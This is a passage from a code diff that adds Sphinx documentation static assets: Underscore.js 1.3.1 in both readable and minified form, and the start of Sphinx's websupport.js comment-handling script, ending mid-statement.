+  // Perform a deep comparison to check if two objects are equal.
+  _.isEqual = function(a, b) {
+    return eq(a, b, []);
+  };
+
+  // Is a given array, string, or object empty?
+  // An "empty" object has no enumerable own-properties.
+  _.isEmpty = function(obj) {
+    if (_.isArray(obj) || _.isString(obj)) return obj.length === 0;
+    for (var key in obj) if (_.has(obj, key)) return false;
+    return true;
+  };
+
+  // Is a given value a DOM element?
+  _.isElement = function(obj) {
+    return !!(obj && obj.nodeType == 1);
+  };
+
+  // Is a given value an array?
+  // Delegates to ECMA5's native Array.isArray
+  _.isArray = nativeIsArray || function(obj) {
+    return toString.call(obj) == '[object Array]';
+  };
+
+  // Is a given variable an object?
+  _.isObject = function(obj) {
+    return obj === Object(obj);
+  };
+
+  // Is a given variable an arguments object?
+  _.isArguments = function(obj) {
+    return toString.call(obj) == '[object Arguments]';
+  };
+  if (!_.isArguments(arguments)) {
+    _.isArguments = function(obj) {
+      return !!(obj && _.has(obj, 'callee'));
+    };
+  }
+
+  // Is a given value a function?
+  _.isFunction = function(obj) {
+    return toString.call(obj) == '[object Function]';
+  };
+
+  // Is a given value a string?
+  _.isString = function(obj) {
+    return toString.call(obj) == '[object String]';
+  };
+
+  // Is a given value a number?
+  _.isNumber = function(obj) {
+    return toString.call(obj) == '[object Number]';
+  };
+
+  // Is the given value `NaN`?
+  _.isNaN = function(obj) {
+    // `NaN` is the only value for which `===` is not reflexive.
+    return obj !== obj;
+  };
+
+  // Is a given value a boolean?
+  _.isBoolean = function(obj) {
+    return obj === true || obj === false || toString.call(obj) == '[object Boolean]';
+  };
+
+  // Is a given value a date?
+  _.isDate = function(obj) {
+    return toString.call(obj) == '[object Date]';
+  };
+
+  // Is the given value a regular expression?
+  _.isRegExp = function(obj) {
+    return toString.call(obj) == '[object RegExp]';
+  };
+
+  // Is a given value equal to null?
+  _.isNull = function(obj) {
+    return obj === null;
+  };
+
+  // Is a given variable undefined?
+  _.isUndefined = function(obj) {
+    return obj === void 0;
+  };
+
+  // Has own property?
+  _.has = function(obj, key) {
+    return hasOwnProperty.call(obj, key);
+  };
+
+  // Utility Functions
+  // -----------------
+
+  // Run Underscore.js in *noConflict* mode, returning the `_` variable to its
+  // previous owner. Returns a reference to the Underscore object.
+  _.noConflict = function() {
+    root._ = previousUnderscore;
+    return this;
+  };
+
+  // Keep the identity function around for default iterators.
+  _.identity = function(value) {
+    return value;
+  };
+
+  // Run a function **n** times.
+  _.times = function (n, iterator, context) {
+    for (var i = 0; i < n; i++) iterator.call(context, i);
+  };
+
+  // Escape a string for HTML interpolation.
+  _.escape = function(string) {
+    return (''+string).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#x27;').replace(/\//g,'&#x2F;');
+  };
+
+  // Add your own custom functions to the Underscore object, ensuring that
+  // they're correctly added to the OOP wrapper as well.
+  _.mixin = function(obj) {
+    each(_.functions(obj), function(name){
+      addToWrapper(name, _[name] = obj[name]);
+    });
+  };
+
+  // Generate a unique integer id (unique within the entire client session).
+  // Useful for temporary DOM ids.
+  var idCounter = 0;
+  _.uniqueId = function(prefix) {
+    var id = idCounter++;
+    return prefix ? prefix + id : id;
+  };
+
+  // By default, Underscore uses ERB-style template delimiters, change the
+  // following template settings to use alternative delimiters.
+  _.templateSettings = {
+    evaluate    : /<%([\s\S]+?)%>/g,
+    interpolate : /<%=([\s\S]+?)%>/g,
+    escape      : /<%-([\s\S]+?)%>/g
+  };
+
+  // When customizing `templateSettings`, if you don't want to define an
+  // interpolation, evaluation or escaping regex, we need one that is
+  // guaranteed not to match.
+  var noMatch = /.^/;
+
+  // Within an interpolation, evaluation, or escaping, remove HTML escaping
+  // that had been previously added.
+  var unescape = function(code) {
+    return code.replace(/\\\\/g, '\\').replace(/\\'/g, "'");
+  };
+
+  // JavaScript micro-templating, similar to John Resig's implementation.
+  // Underscore templating handles arbitrary delimiters, preserves whitespace,
+  // and correctly escapes quotes within interpolated code.
+  _.template = function(str, data) {
+    var c  = _.templateSettings;
+    var tmpl = 'var __p=[],print=function(){__p.push.apply(__p,arguments);};' +
+      'with(obj||{}){__p.push(\'' +
+      str.replace(/\\/g, '\\\\')
+         .replace(/'/g, "\\'")
+         .replace(c.escape || noMatch, function(match, code) {
+           return "',_.escape(" + unescape(code) + "),'";
+         })
+         .replace(c.interpolate || noMatch, function(match, code) {
+           return "'," + unescape(code) + ",'";
+         })
+         .replace(c.evaluate || noMatch, function(match, code) {
+           return "');" + unescape(code).replace(/[\r\n\t]/g, ' ') + ";__p.push('";
+         })
+         .replace(/\r/g, '\\r')
+         .replace(/\n/g, '\\n')
+         .replace(/\t/g, '\\t')
+         + "');}return __p.join('');";
+    var func = new Function('obj', '_', tmpl);
+    if (data) return func(data, _);
+    return function(data) {
+      return func.call(this, data, _);
+    };
+  };
+
+  // Add a "chain" function, which will delegate to the wrapper.
+  _.chain = function(obj) {
+    return _(obj).chain();
+  };
+
+  // The OOP Wrapper
+  // ---------------
+
+  // If Underscore is called as a function, it returns a wrapped object that
+  // can be used OO-style. This wrapper holds altered versions of all the
+  // underscore functions. Wrapped objects may be chained.
+  var wrapper = function(obj) { this._wrapped = obj; };
+
+  // Expose `wrapper.prototype` as `_.prototype`
+  _.prototype = wrapper.prototype;
+
+  // Helper function to continue chaining intermediate results.
+  var result = function(obj, chain) {
+    return chain ? _(obj).chain() : obj;
+  };
+
+  // A method to easily add functions to the OOP wrapper.
+  var addToWrapper = function(name, func) {
+    wrapper.prototype[name] = function() {
+      var args = slice.call(arguments);
+      unshift.call(args, this._wrapped);
+      return result(func.apply(_, args), this._chain);
+    };
+  };
+
+  // Add all of the Underscore functions to the wrapper object.
+  _.mixin(_);
+
+  // Add all mutator Array functions to the wrapper.
+  each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
+    var method = ArrayProto[name];
+    wrapper.prototype[name] = function() {
+      var wrapped = this._wrapped;
+      method.apply(wrapped, arguments);
+      var length = wrapped.length;
+      if ((name == 'shift' || name == 'splice') && length === 0) delete wrapped[0];
+      return result(wrapped, this._chain);
+    };
+  });
+
+  // Add all accessor Array functions to the wrapper.
+  each(['concat', 'join', 'slice'], function(name) {
+    var method = ArrayProto[name];
+    wrapper.prototype[name] = function() {
+      return result(method.apply(this._wrapped, arguments), this._chain);
+    };
+  });
+
+  // Start chaining a wrapped Underscore object.
+  wrapper.prototype.chain = function() {
+    this._chain = true;
+    return this;
+  };
+
+  // Extracts the result from a wrapped and chained object.
+  wrapper.prototype.value = function() {
+    return this._wrapped;
+  };
+
+}).call(this);

docs/build/html/_static/underscore.js

@@ -0,0 +1,31 @@
+// Underscore.js 1.3.1
+// (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc.
+// Underscore is freely distributable under the MIT license.
+// Portions of Underscore are inspired or borrowed from Prototype,
+// Oliver Steele's Functional, and John Resig's Micro-Templating.
+// For all details and documentation:
+// http://documentcloud.github.com/underscore
+(function(){function q(a,c,d){if(a===c)return a!==0||1/a==1/c;if(a==null||c==null)return a===c;if(a._chain)a=a._wrapped;if(c._chain)c=c._wrapped;if(a.isEqual&&b.isFunction(a.isEqual))return a.isEqual(c);if(c.isEqual&&b.isFunction(c.isEqual))return c.isEqual(a);var e=l.call(a);if(e!=l.call(c))return false;switch(e){case "[object String]":return a==String(c);case "[object Number]":return a!=+a?c!=+c:a==0?1/a==1/c:a==+c;case "[object Date]":case "[object Boolean]":return+a==+c;case "[object RegExp]":return a.source==
+c.source&&a.global==c.global&&a.multiline==c.multiline&&a.ignoreCase==c.ignoreCase}if(typeof a!="object"||typeof c!="object")return false;for(var f=d.length;f--;)if(d[f]==a)return true;d.push(a);var f=0,g=true;if(e=="[object Array]"){if(f=a.length,g=f==c.length)for(;f--;)if(!(g=f in a==f in c&&q(a[f],c[f],d)))break}else{if("constructor"in a!="constructor"in c||a.constructor!=c.constructor)return false;for(var h in a)if(b.has(a,h)&&(f++,!(g=b.has(c,h)&&q(a[h],c[h],d))))break;if(g){for(h in c)if(b.has(c,
+h)&&!f--)break;g=!f}}d.pop();return g}var r=this,G=r._,n={},k=Array.prototype,o=Object.prototype,i=k.slice,H=k.unshift,l=o.toString,I=o.hasOwnProperty,w=k.forEach,x=k.map,y=k.reduce,z=k.reduceRight,A=k.filter,B=k.every,C=k.some,p=k.indexOf,D=k.lastIndexOf,o=Array.isArray,J=Object.keys,s=Function.prototype.bind,b=function(a){return new m(a)};if(typeof exports!=="undefined"){if(typeof module!=="undefined"&&module.exports)exports=module.exports=b;exports._=b}else r._=b;b.VERSION="1.3.1";var j=b.each=
+b.forEach=function(a,c,d){if(a!=null)if(w&&a.forEach===w)a.forEach(c,d);else if(a.length===+a.length)for(var e=0,f=a.length;e<f;e++){if(e in a&&c.call(d,a[e],e,a)===n)break}else for(e in a)if(b.has(a,e)&&c.call(d,a[e],e,a)===n)break};b.map=b.collect=function(a,c,b){var e=[];if(a==null)return e;if(x&&a.map===x)return a.map(c,b);j(a,function(a,g,h){e[e.length]=c.call(b,a,g,h)});if(a.length===+a.length)e.length=a.length;return e};b.reduce=b.foldl=b.inject=function(a,c,d,e){var f=arguments.length>2;a==
+null&&(a=[]);if(y&&a.reduce===y)return e&&(c=b.bind(c,e)),f?a.reduce(c,d):a.reduce(c);j(a,function(a,b,i){f?d=c.call(e,d,a,b,i):(d=a,f=true)});if(!f)throw new TypeError("Reduce of empty array with no initial value");return d};b.reduceRight=b.foldr=function(a,c,d,e){var f=arguments.length>2;a==null&&(a=[]);if(z&&a.reduceRight===z)return e&&(c=b.bind(c,e)),f?a.reduceRight(c,d):a.reduceRight(c);var g=b.toArray(a).reverse();e&&!f&&(c=b.bind(c,e));return f?b.reduce(g,c,d,e):b.reduce(g,c)};b.find=b.detect=
+function(a,c,b){var e;E(a,function(a,g,h){if(c.call(b,a,g,h))return e=a,true});return e};b.filter=b.select=function(a,c,b){var e=[];if(a==null)return e;if(A&&a.filter===A)return a.filter(c,b);j(a,function(a,g,h){c.call(b,a,g,h)&&(e[e.length]=a)});return e};b.reject=function(a,c,b){var e=[];if(a==null)return e;j(a,function(a,g,h){c.call(b,a,g,h)||(e[e.length]=a)});return e};b.every=b.all=function(a,c,b){var e=true;if(a==null)return e;if(B&&a.every===B)return a.every(c,b);j(a,function(a,g,h){if(!(e=
+e&&c.call(b,a,g,h)))return n});return e};var E=b.some=b.any=function(a,c,d){c||(c=b.identity);var e=false;if(a==null)return e;if(C&&a.some===C)return a.some(c,d);j(a,function(a,b,h){if(e||(e=c.call(d,a,b,h)))return n});return!!e};b.include=b.contains=function(a,c){var b=false;if(a==null)return b;return p&&a.indexOf===p?a.indexOf(c)!=-1:b=E(a,function(a){return a===c})};b.invoke=function(a,c){var d=i.call(arguments,2);return b.map(a,function(a){return(b.isFunction(c)?c||a:a[c]).apply(a,d)})};b.pluck=
+function(a,c){return b.map(a,function(a){return a[c]})};b.max=function(a,c,d){if(!c&&b.isArray(a))return Math.max.apply(Math,a);if(!c&&b.isEmpty(a))return-Infinity;var e={computed:-Infinity};j(a,function(a,b,h){b=c?c.call(d,a,b,h):a;b>=e.computed&&(e={value:a,computed:b})});return e.value};b.min=function(a,c,d){if(!c&&b.isArray(a))return Math.min.apply(Math,a);if(!c&&b.isEmpty(a))return Infinity;var e={computed:Infinity};j(a,function(a,b,h){b=c?c.call(d,a,b,h):a;b<e.computed&&(e={value:a,computed:b})});
+return e.value};b.shuffle=function(a){var b=[],d;j(a,function(a,f){f==0?b[0]=a:(d=Math.floor(Math.random()*(f+1)),b[f]=b[d],b[d]=a)});return b};b.sortBy=function(a,c,d){return b.pluck(b.map(a,function(a,b,g){return{value:a,criteria:c.call(d,a,b,g)}}).sort(function(a,b){var c=a.criteria,d=b.criteria;return c<d?-1:c>d?1:0}),"value")};b.groupBy=function(a,c){var d={},e=b.isFunction(c)?c:function(a){return a[c]};j(a,function(a,b){var c=e(a,b);(d[c]||(d[c]=[])).push(a)});return d};b.sortedIndex=function(a,
+c,d){d||(d=b.identity);for(var e=0,f=a.length;e<f;){var g=e+f>>1;d(a[g])<d(c)?e=g+1:f=g}return e};b.toArray=function(a){return!a?[]:a.toArray?a.toArray():b.isArray(a)?i.call(a):b.isArguments(a)?i.call(a):b.values(a)};b.size=function(a){return b.toArray(a).length};b.first=b.head=function(a,b,d){return b!=null&&!d?i.call(a,0,b):a[0]};b.initial=function(a,b,d){return i.call(a,0,a.length-(b==null||d?1:b))};b.last=function(a,b,d){return b!=null&&!d?i.call(a,Math.max(a.length-b,0)):a[a.length-1]};b.rest=
+b.tail=function(a,b,d){return i.call(a,b==null||d?1:b)};b.compact=function(a){return b.filter(a,function(a){return!!a})};b.flatten=function(a,c){return b.reduce(a,function(a,e){if(b.isArray(e))return a.concat(c?e:b.flatten(e));a[a.length]=e;return a},[])};b.without=function(a){return b.difference(a,i.call(arguments,1))};b.uniq=b.unique=function(a,c,d){var d=d?b.map(a,d):a,e=[];b.reduce(d,function(d,g,h){if(0==h||(c===true?b.last(d)!=g:!b.include(d,g)))d[d.length]=g,e[e.length]=a[h];return d},[]);
+return e};b.union=function(){return b.uniq(b.flatten(arguments,true))};b.intersection=b.intersect=function(a){var c=i.call(arguments,1);return b.filter(b.uniq(a),function(a){return b.every(c,function(c){return b.indexOf(c,a)>=0})})};b.difference=function(a){var c=b.flatten(i.call(arguments,1));return b.filter(a,function(a){return!b.include(c,a)})};b.zip=function(){for(var a=i.call(arguments),c=b.max(b.pluck(a,"length")),d=Array(c),e=0;e<c;e++)d[e]=b.pluck(a,""+e);return d};b.indexOf=function(a,c,
+d){if(a==null)return-1;var e;if(d)return d=b.sortedIndex(a,c),a[d]===c?d:-1;if(p&&a.indexOf===p)return a.indexOf(c);for(d=0,e=a.length;d<e;d++)if(d in a&&a[d]===c)return d;return-1};b.lastIndexOf=function(a,b){if(a==null)return-1;if(D&&a.lastIndexOf===D)return a.lastIndexOf(b);for(var d=a.length;d--;)if(d in a&&a[d]===b)return d;return-1};b.range=function(a,b,d){arguments.length<=1&&(b=a||0,a=0);for(var d=arguments[2]||1,e=Math.max(Math.ceil((b-a)/d),0),f=0,g=Array(e);f<e;)g[f++]=a,a+=d;return g};
+var F=function(){};b.bind=function(a,c){var d,e;if(a.bind===s&&s)return s.apply(a,i.call(arguments,1));if(!b.isFunction(a))throw new TypeError;e=i.call(arguments,2);return d=function(){if(!(this instanceof d))return a.apply(c,e.concat(i.call(arguments)));F.prototype=a.prototype;var b=new F,g=a.apply(b,e.concat(i.call(arguments)));return Object(g)===g?g:b}};b.bindAll=function(a){var c=i.call(arguments,1);c.length==0&&(c=b.functions(a));j(c,function(c){a[c]=b.bind(a[c],a)});return a};b.memoize=function(a,
+c){var d={};c||(c=b.identity);return function(){var e=c.apply(this,arguments);return b.has(d,e)?d[e]:d[e]=a.apply(this,arguments)}};b.delay=function(a,b){var d=i.call(arguments,2);return setTimeout(function(){return a.apply(a,d)},b)};b.defer=function(a){return b.delay.apply(b,[a,1].concat(i.call(arguments,1)))};b.throttle=function(a,c){var d,e,f,g,h,i=b.debounce(function(){h=g=false},c);return function(){d=this;e=arguments;var b;f||(f=setTimeout(function(){f=null;h&&a.apply(d,e);i()},c));g?h=true:
+a.apply(d,e);i();g=true}};b.debounce=function(a,b){var d;return function(){var e=this,f=arguments;clearTimeout(d);d=setTimeout(function(){d=null;a.apply(e,f)},b)}};b.once=function(a){var b=false,d;return function(){if(b)return d;b=true;return d=a.apply(this,arguments)}};b.wrap=function(a,b){return function(){var d=[a].concat(i.call(arguments,0));return b.apply(this,d)}};b.compose=function(){var a=arguments;return function(){for(var b=arguments,d=a.length-1;d>=0;d--)b=[a[d].apply(this,b)];return b[0]}};
+b.after=function(a,b){return a<=0?b():function(){if(--a<1)return b.apply(this,arguments)}};b.keys=J||function(a){if(a!==Object(a))throw new TypeError("Invalid object");var c=[],d;for(d in a)b.has(a,d)&&(c[c.length]=d);return c};b.values=function(a){return b.map(a,b.identity)};b.functions=b.methods=function(a){var c=[],d;for(d in a)b.isFunction(a[d])&&c.push(d);return c.sort()};b.extend=function(a){j(i.call(arguments,1),function(b){for(var d in b)a[d]=b[d]});return a};b.defaults=function(a){j(i.call(arguments,
+1),function(b){for(var d in b)a[d]==null&&(a[d]=b[d])});return a};b.clone=function(a){return!b.isObject(a)?a:b.isArray(a)?a.slice():b.extend({},a)};b.tap=function(a,b){b(a);return a};b.isEqual=function(a,b){return q(a,b,[])};b.isEmpty=function(a){if(b.isArray(a)||b.isString(a))return a.length===0;for(var c in a)if(b.has(a,c))return false;return true};b.isElement=function(a){return!!(a&&a.nodeType==1)};b.isArray=o||function(a){return l.call(a)=="[object Array]"};b.isObject=function(a){return a===Object(a)};
+b.isArguments=function(a){return l.call(a)=="[object Arguments]"};if(!b.isArguments(arguments))b.isArguments=function(a){return!(!a||!b.has(a,"callee"))};b.isFunction=function(a){return l.call(a)=="[object Function]"};b.isString=function(a){return l.call(a)=="[object String]"};b.isNumber=function(a){return l.call(a)=="[object Number]"};b.isNaN=function(a){return a!==a};b.isBoolean=function(a){return a===true||a===false||l.call(a)=="[object Boolean]"};b.isDate=function(a){return l.call(a)=="[object Date]"};
+b.isRegExp=function(a){return l.call(a)=="[object RegExp]"};b.isNull=function(a){return a===null};b.isUndefined=function(a){return a===void 0};b.has=function(a,b){return I.call(a,b)};b.noConflict=function(){r._=G;return this};b.identity=function(a){return a};b.times=function(a,b,d){for(var e=0;e<a;e++)b.call(d,e)};b.escape=function(a){return(""+a).replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&#x27;").replace(/\//g,"&#x2F;")};b.mixin=function(a){j(b.functions(a),
+function(c){K(c,b[c]=a[c])})};var L=0;b.uniqueId=function(a){var b=L++;return a?a+b:b};b.templateSettings={evaluate:/<%([\s\S]+?)%>/g,interpolate:/<%=([\s\S]+?)%>/g,escape:/<%-([\s\S]+?)%>/g};var t=/.^/,u=function(a){return a.replace(/\\\\/g,"\\").replace(/\\'/g,"'")};b.template=function(a,c){var d=b.templateSettings,d="var __p=[],print=function(){__p.push.apply(__p,arguments);};with(obj||{}){__p.push('"+a.replace(/\\/g,"\\\\").replace(/'/g,"\\'").replace(d.escape||t,function(a,b){return"',_.escape("+
+u(b)+"),'"}).replace(d.interpolate||t,function(a,b){return"',"+u(b)+",'"}).replace(d.evaluate||t,function(a,b){return"');"+u(b).replace(/[\r\n\t]/g," ")+";__p.push('"}).replace(/\r/g,"\\r").replace(/\n/g,"\\n").replace(/\t/g,"\\t")+"');}return __p.join('');",e=new Function("obj","_",d);return c?e(c,b):function(a){return e.call(this,a,b)}};b.chain=function(a){return b(a).chain()};var m=function(a){this._wrapped=a};b.prototype=m.prototype;var v=function(a,c){return c?b(a).chain():a},K=function(a,c){m.prototype[a]=
+function(){var a=i.call(arguments);H.call(a,this._wrapped);return v(c.apply(b,a),this._chain)}};b.mixin(b);j("pop,push,reverse,shift,sort,splice,unshift".split(","),function(a){var b=k[a];m.prototype[a]=function(){var d=this._wrapped;b.apply(d,arguments);var e=d.length;(a=="shift"||a=="splice")&&e===0&&delete d[0];return v(d,this._chain)}});j(["concat","join","slice"],function(a){var b=k[a];m.prototype[a]=function(){return v(b.apply(this._wrapped,arguments),this._chain)}});m.prototype.chain=function(){this._chain=
+true;return this};m.prototype.value=function(){return this._wrapped}}).call(this);

docs/build/html/_static/websupport.js

@@ -0,0 +1,808 @@
+/*
+ * websupport.js
+ * ~~~~~~~~~~~~~
+ *
+ * sphinx.websupport utilties for all documentation.
+ *
+ * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS.
+ * :license: BSD, see LICENSE for details.
+ *
+ */
+
+(function($) {
+  $.fn.autogrow = function() {
+    return this.each(function() {
+    var textarea = this;
+
+    $.fn.autogrow.resize(textarea);
+
+    $(textarea)
+      .focus(function() {
+        textarea.interval = setInterval(function() {
+          $.fn.autogrow.resize(textarea);
+        }, 500);
+      })
+      .blur(function() {
+        clearInterval(textarea.interval);
+      });
+    });
+  };
+
+  $.fn.autogrow.resize = function(textarea) {
+    var lineHeight = parseInt($(textarea).css('line-height'), 10);
+    var lines = textarea.value.split('\n');
+    var columns = textarea.cols;
+    var lineCount = 0;
+    $.each(lines, function() {
+      lineCount += Math.ceil(this.length / columns) || 1;
+    });
+    var height = lineHeight * (lineCount + 1);
+    $(textarea).css('height', height);
+  };
+})(jQuery);
+
+(function($) {
+  var comp, by;
+
+  function init() {
+    initEvents();
+    initComparator();
+  }
+
+  function initEvents() {
+    $(document).on("click", 'a.comment-close', function(event) {
+      event.preventDefault();
+      hide($(this).attr('id').substring(2));
+    });
+    $(document).on("click", 'a.vote', function(event) {
+      event.preventDefault();
+      handleVote($(this));
+    });
+    $(document).on("click", 'a.reply', function(event) {
+      event.preventDefault();
+      openReply($(this).attr('id').substring(2));
+    });
+    $(document).on("click", 'a.close-reply', function(event) {
+      event.preventDefault();
+      closeReply($(this).attr('id').substring(2));
+    });
+    $(document).on("click", 'a.sort-option', function(event) {
+      event.preventDefault();
+      handleReSort($(this));
+    });
+    $(document).on("click", 'a.show-proposal', function(event) {
+      event.preventDefault();
+      showProposal($(this).attr('id').substring(2));
+    });
+    $(document).on("click", 'a.hide-proposal', function(event) {
+      event.preventDefault();
+      hideProposal($(this).attr('id').substring(2));
+    });
+    $(document).on("click", 'a.show-propose-change', function(event) {
+      event.preventDefault();
+      showProposeChange($(this).attr('id').substring(2));
+    });
+    $(document).on("click", 'a.hide-propose-change', function(event) {
+      event.preventDefault();
+      hideProposeChange($(this).attr('id').substring(2));
+    });
+    $(document).on("click", 'a.accept-comment', function(event) {
+      event.preventDefault();
+      acceptComment($(this).attr('id').substring(2));
+    });
+    $(document).on("click", 'a.delete-comment', function(event) {
+      event.preventDefault();
+      deleteComment($(this).attr('id').substring(2));
+    });
+    $(document).on("click", 'a.comment-markup', function(event) {
+      event.preventDefault();
+      toggleCommentMarkupBox($(this).attr('id').substring(2));
+    });
+  }
+
+  /**
+   * Set comp, which is a comparator function used for sorting and
+   * inserting comments into the list.
+   */
+  function setComparator() {
+    // If the first three letters are "asc", sort in ascending order
+    // and remove the prefix.
+    if (by.substring(0,3) == 'asc') {
+      var i = by.substring(3);
+      comp = function(a, b) { return a[i] - b[i]; };
+    } else {
+      // Otherwise sort in descending order.
+      comp = function(a, b) { return b[by] - a[by]; };
+    }
+
+    // Reset link styles and format the selected sort option.
+    $('a.sel').attr('href', '#').removeClass('sel');
+    $('a.by' + by).removeAttr('href').addClass('sel');
+  }
+
+  /**
+   * Create a comp function. If the user has preferences stored in
+   * the sortBy cookie, use those, otherwise use the default.
+   */
+  function initComparator() {
+    by = 'rating'; // Default to sort by rating.
+    // If the sortBy cookie is set, use that instead.
+    if (document.cookie.length > 0) {
+      var start = document.cookie.indexOf('sortBy=');
+      if (start != -1) {
+        start = start + 7;
+        var end = document.cookie.indexOf(";", start);
+        if (end == -1) {
+          end = document.cookie.length;
+          by = unescape(document.cookie.substring(start, end));
+        }
+      }
+    }
+    setComparator();
+  }
+
+  /**
+   * Show a comment div.
+   */
+  function show(id) {
+    $('#ao' + id).hide();
+    $('#ah' + id).show();
+    var context = $.extend({id: id}, opts);
+    var popup = $(renderTemplate(popupTemplate, context)).hide();
+    popup.find('textarea[name="proposal"]').hide();
+    popup.find('a.by' + by).addClass('sel');
+    var form = popup.find('#cf' + id);
+    form.submit(function(event) {
+      event.preventDefault();
+      addComment(form);
+    });
+    $('#s' + id).after(popup);
+    popup.slideDown('fast', function() {
+      getComments(id);
+    });
+  }
+
+  /**
+   * Hide a comment div.
+   */
+  function hide(id) {
+    $('#ah' + id).hide();
+    $('#ao' + id).show();
+    var div = $('#sc' + id);
+    div.slideUp('fast', function() {
+      div.remove();
+    });
+  }
+
+  /**
+   * Perform an ajax request to get comments for a node
+   * and insert the comments into the comments tree.
+   */
+  function getComments(id) {
+    $.ajax({
+     type: 'GET',
+     url: opts.getCommentsURL,
+     data: {node: id},
+     success: function(data, textStatus, request) {
+       var ul = $('#cl' + id);
+       var speed = 100;
+       $('#cf' + id)
+         .find('textarea[name="proposal"]')
+         .data('source', data.source);
+
+       if (data.comments.length === 0) {
+         ul.html('<li>No comments yet.</li>');
+         ul.data('empty', true);
+       } else {
+         // If there are comments, sort them and put them in the list.
+         var comments = sortComments(data.comments);
+         speed = data.comments.length * 100;
+         appendComments(comments, ul);
+         ul.data('empty', false);
+       }
+       $('#cn' + id).slideUp(speed + 200);
+       ul.slideDown(speed);
+     },
+     error: function(request, textStatus, error) {
+       showError('Oops, there was a problem retrieving the comments.');
+     },
+     dataType: 'json'
+    });
+  }
+
+  /**
+   * Add a comment via ajax and insert the comment into the comment tree.
+   */
+  function addComment(form) {
+    var node_id = form.find('input[name="node"]').val();
+    var parent_id = form.find('input[name="parent"]').val();
+    var text = form.find('textarea[name="comment"]').val();
+    var proposal = form.find('textarea[name="proposal"]').val();
+
+    if (text == '') {
+      showError('Please enter a comment.');
+      return;
+    }
+
+    // Disable the form that is being submitted.
+    form.find('textarea,input').attr('disabled', 'disabled');
+
+    // Send the comment to the server.
+    $.ajax({
+      type: "POST",
+      url: opts.addCommentURL,
+      dataType: 'json',
+      data: {
+        node: node_id,
+        parent: parent_id,
+        text: text,
+        proposal: proposal
+      },
+      success: function(data, textStatus, error) {
+        // Reset the form.
+        if (node_id) {
+          hideProposeChange(node_id);
+        }
+        form.find('textarea')
+          .val('')
+          .add(form.find('input'))
+          .removeAttr('disabled');
+	var ul = $('#cl' + (node_id || parent_id));
+        if (ul.data('empty')) {
+          $(ul).empty();
+          ul.data('empty', false);
+        }
+        insertComment(data.comment);
+        var ao = $('#ao' + node_id);
+        ao.find('img').attr({'src': opts.commentBrightImage});
+        if (node_id) {
+          // if this was a "root" comment, remove the commenting box
+          // (the user can get it back by reopening the comment popup)
+          $('#ca' + node_id).slideUp();
+        }
+      },
+      error: function(request, textStatus, error) {
+        form.find('textarea,input').removeAttr('disabled');
+        showError('Oops, there was a problem adding the comment.');
+      }
+    });
+  }
+
+  /**
+   * Recursively append comments to the main comment list and children
+   * lists, creating the comment tree.
+   */
+  function appendComments(comments, ul) {
+    $.each(comments, function() {
+      var div = createCommentDiv(this);
+      ul.append($(document.createElement('li')).html(div));
+      appendComments(this.children, div.find('ul.comment-children'));
+      // To avoid stagnating data, don't store the comments children in data.
+      this.children = null;
+      div.data('comment', this);
+    });
+  }
+
+  /**
+   * After adding a new comment, it must be inserted in the correct
+   * location in the comment tree.
+   */
+  function insertComment(comment) {
+    var div = createCommentDiv(comment);
+
+    // To avoid stagnating data, don't store the comments children in data.
+    comment.children = null;
+    div.data('comment', comment);
+
+    var ul = $('#cl' + (comment.node || comment.parent));
+    var siblings = getChildren(ul);
+
+    var li = $(document.createElement('li'));
+    li.hide();
+
+    // Determine where in the parents children list to insert this comment.
+    for(i=0; i < siblings.length; i++) {
+      if (comp(comment, siblings[i]) <= 0) {
+        $('#cd' + siblings[i].id)
+          .parent()
+          .before(li.html(div));
+        li.slideDown('fast');
+        return;
+      }
+    }
+
+    // If we get here, this comment rates lower than all the others,
+    // or it is the only comment in the list.
+    ul.append(li.html(div));
+    li.slideDown('fast');
+  }
+
+  function acceptComment(id) {
+    $.ajax({
+      type: 'POST',
+      url: opts.acceptCommentURL,
+      data: {id: id},
+      success: function(data, textStatus, request) {
+        $('#cm' + id).fadeOut('fast');
+        $('#cd' + id).removeClass('moderate');
+      },
+      error: function(request, textStatus, error) {
+        showError('Oops, there was a problem accepting the comment.');
+      }
+    });
+  }
+
+  function deleteComment(id) {
+    $.ajax({
+      type: 'POST',
+      url: opts.deleteCommentURL,
+      data: {id: id},
+      success: function(data, textStatus, request) {
+        var div = $('#cd' + id);
+        if (data == 'delete') {
+          // Moderator mode: remove the comment and all children immediately
+          div.slideUp('fast', function() {
+            div.remove();
+          });
+          return;
+        }
+        // User mode: only mark the comment as deleted
+        div
+          .find('span.user-id:first')
+          .text('[deleted]').end()
+          .find('div.comment-text:first')
+          .text('[deleted]').end()
+          .find('#cm' + id + ', #dc' + id + ', #ac' + id + ', #rc' + id +
+                ', #sp' + id + ', #hp' + id + ', #cr' + id + ', #rl' + id)
+          .remove();
+        var comment = div.data('comment');
+        comment.username = '[deleted]';
+        comment.text = '[deleted]';
+        div.data('comment', comment);
+      },
+      error: function(request, textStatus, error) {
+        showError('Oops, there was a problem deleting the comment.');
+      }
+    });
+  }
+
+  function showProposal(id) {
+    $('#sp' + id).hide();
+    $('#hp' + id).show();
+    $('#pr' + id).slideDown('fast');
+  }
+
+  function hideProposal(id) {
+    $('#hp' + id).hide();
+    $('#sp' + id).show();
+    $('#pr' + id).slideUp('fast');
+  }
+
+  function showProposeChange(id) {
+    $('#pc' + id).hide();
+    $('#hc' + id).show();
+    var textarea = $('#pt' + id);
+    textarea.val(textarea.data('source'));
+    $.fn.autogrow.resize(textarea[0]);
+    textarea.slideDown('fast');
+  }
+
+  function hideProposeChange(id) {
+    $('#hc' + id).hide();
+    $('#pc' + id).show();
+    var textarea = $('#pt' + id);
+    textarea.val('').removeAttr('disabled');
+    textarea.slideUp('fast');
+  }
+
+  function toggleCommentMarkupBox(id) {
+    $('#mb' + id).toggle();
+  }
+
+  /** Handle when the user clicks on a sort by link. */
+  function handleReSort(link) {
+    var classes = link.attr('class').split(/\s+/);
+    for (var i=0; i<classes.length; i++) {
+      if (classes[i] != 'sort-option') {
+	by = classes[i].substring(2);
+      }
+    }
+    setComparator();
+    // Save/update the sortBy cookie.
+    var expiration = new Date();
+    expiration.setDate(expiration.getDate() + 365);
+    document.cookie= 'sortBy=' + escape(by) +
